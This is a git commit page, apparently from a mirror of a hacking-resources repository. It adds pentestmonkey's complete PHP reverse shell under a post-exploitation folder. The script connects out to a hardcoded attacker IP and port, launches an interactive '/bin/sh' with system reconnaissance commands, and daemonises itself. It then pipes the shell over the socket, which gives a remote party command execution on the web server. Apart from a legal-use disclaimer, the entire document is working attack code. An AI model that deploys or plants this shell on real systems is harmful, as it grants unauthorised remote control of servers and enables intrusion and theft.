mirror of
https://github.com/The-Art-of-Hacking/h4cker.git
synced 2024-10-01 01:25:43 -04:00
Create php-reverse-shell.php
This commit is contained in:
Omar Santos
GitHub
parent
69d8ea002b
commit
36fae5c020
191
post_exploitation/php-reverse-shell.php
Normal file
191
post_exploitation/php-reverse-shell.php
Normal file
@ -0,0 +1,191 @@
|
||||
<?php
|
||||
// php-reverse-shell - A Reverse Shell implementation in PHP
|
||||
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
|
||||
//
|
||||
// This tool may be used for legal purposes only. Users take full responsibility
|
||||
// for any actions performed using this tool. The author accepts no liability
|
||||
// for damage caused by this tool. If these terms are not acceptable to you, then
|
||||
// do not use this tool.
|
||||
//
|
||||
// In all other respects the GPL version 2 applies:
|
||||
//
|
||||
// This program is free software; you can redistribute it and/or modify
|
||||
// it under the terms of the GNU General Public License version 2 as
|
||||
// published by the Free Software Foundation.
|
||||
//
|
||||
// This program is distributed in the hope that it will be useful,
|
||||
// but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
// GNU General Public License for more details.
|
||||
//
|
||||
// You should have received a copy of the GNU General Public License along
|
||||
// with this program; if not, write to the Free Software Foundation, Inc.,
|
||||
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
|
||||
//
|
||||
// This tool may be used for legal purposes only. Users take full responsibility
|
||||
// for any actions performed using this tool. If these terms are not acceptable to
|
||||
// you, then do not use this tool.
|
||||
//
|
||||
// You are encouraged to send comments, improvements or suggestions to
|
||||
// me at pentestmonkey@pentestmonkey.net
|
||||
//
|
||||
// Description
|
||||
// -----------
|
||||
// This script will make an outbound TCP connection to a hardcoded IP and port.
|
||||
// The recipient will be given a shell running as the current user (apache normally).
|
||||
//
|
||||
// Limitations
|
||||
// -----------
|
||||
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
|
||||
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
|
||||
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
|
||||
//
|
||||
// Usage
|
||||
// -----
|
||||
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
|
||||
|
||||
set_time_limit (0);
|
||||
$VERSION = "1.0";
|
||||
$ip = '127.0.0.1'; // CHANGE THIS
|
||||
$port = 1234; // CHANGE THIS
|
||||
$chunk_size = 1400;
|
||||
$write_a = null;
|
||||
$error_a = null;
|
||||
$shell = 'uname -a; w; id; /bin/sh -i';
|
||||
$daemon = 0;
|
||||
$debug = 0;
|
||||
|
||||
//
|
||||
// Daemonise ourself if possible to avoid zombies later
|
||||
//
|
||||
|
||||
// pcntl_fork is hardly ever available, but will allow us to daemonise
|
||||
// our php process and avoid zombies. Worth a try...
|
||||
if (function_exists('pcntl_fork')) {
|
||||
// Fork and have the parent process exit
|
||||
$pid = pcntl_fork();
|
||||
|
||||
if ($pid == -1) {
|
||||
printit("ERROR: Can't fork");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if ($pid) {
|
||||
exit(0); // Parent exits
|
||||
}
|
||||
|
||||
// Make the current process a session leader
|
||||
// Will only succeed if we forked
|
||||
if (posix_setsid() == -1) {
|
||||
printit("Error: Can't setsid()");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
$daemon = 1;
|
||||
} else {
|
||||
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
|
||||
}
|
||||
|
||||
// Change to a safe directory
|
||||
chdir("/");
|
||||
|
||||
// Remove any umask we inherited
|
||||
umask(0);
|
||||
|
||||
//
|
||||
// Do the reverse shell...
|
||||
//
|
||||
|
||||
// Open reverse connection
|
||||
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
|
||||
if (!$sock) {
|
||||
printit("$errstr ($errno)");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// Spawn shell process
|
||||
$descriptorspec = array(
|
||||
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
|
||||
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
|
||||
2 => array("pipe", "w") // stderr is a pipe that the child will write to
|
||||
);
|
||||
|
||||
$process = proc_open($shell, $descriptorspec, $pipes);
|
||||
|
||||
if (!is_resource($process)) {
|
||||
printit("ERROR: Can't spawn shell");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// Set everything to non-blocking
|
||||
// Reason: Occsionally reads will block, even though stream_select tells us they won't
|
||||
stream_set_blocking($pipes[0], 0);
|
||||
stream_set_blocking($pipes[1], 0);
|
||||
stream_set_blocking($pipes[2], 0);
|
||||
stream_set_blocking($sock, 0);
|
||||
|
||||
printit("Successfully opened reverse shell to $ip:$port");
|
||||
|
||||
while (1) {
|
||||
// Check for end of TCP connection
|
||||
if (feof($sock)) {
|
||||
printit("ERROR: Shell connection terminated");
|
||||
break;
|
||||
}
|
||||
|
||||
// Check for end of STDOUT
|
||||
if (feof($pipes[1])) {
|
||||
printit("ERROR: Shell process terminated");
|
||||
break;
|
||||
}
|
||||
|
||||
// Wait until a command is end down $sock, or some
|
||||
// command output is available on STDOUT or STDERR
|
||||
$read_a = array($sock, $pipes[1], $pipes[2]);
|
||||
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
|
||||
|
||||
// If we can read from the TCP socket, send
|
||||
// data to process's STDIN
|
||||
if (in_array($sock, $read_a)) {
|
||||
if ($debug) printit("SOCK READ");
|
||||
$input = fread($sock, $chunk_size);
|
||||
if ($debug) printit("SOCK: $input");
|
||||
fwrite($pipes[0], $input);
|
||||
}
|
||||
|
||||
// If we can read from the process's STDOUT
|
||||
// send data down tcp connection
|
||||
if (in_array($pipes[1], $read_a)) {
|
||||
if ($debug) printit("STDOUT READ");
|
||||
$input = fread($pipes[1], $chunk_size);
|
||||
if ($debug) printit("STDOUT: $input");
|
||||
fwrite($sock, $input);
|
||||
}
|
||||
|
||||
// If we can read from the process's STDERR
|
||||
// send data down tcp connection
|
||||
if (in_array($pipes[2], $read_a)) {
|
||||
if ($debug) printit("STDERR READ");
|
||||
$input = fread($pipes[2], $chunk_size);
|
||||
if ($debug) printit("STDERR: $input");
|
||||
fwrite($sock, $input);
|
||||
}
|
||||
}
|
||||
|
||||
fclose($sock);
|
||||
fclose($pipes[0]);
|
||||
fclose($pipes[1]);
|
||||
fclose($pipes[2]);
|
||||
proc_close($process);
|
||||
|
||||
// Like print, but does nothing if we've daemonised ourself
|
||||
// (I can't figure out how to redirect STDOUT like a proper daemon)
|
||||
function printit ($string) {
|
||||
if (!$daemon) {
|
||||
print "$string\n";
|
||||
}
|
||||
}
|
||||
|
||||
?>
|
||||
|
||||
|
||||
Loading…
Reference in New Issue
Block a user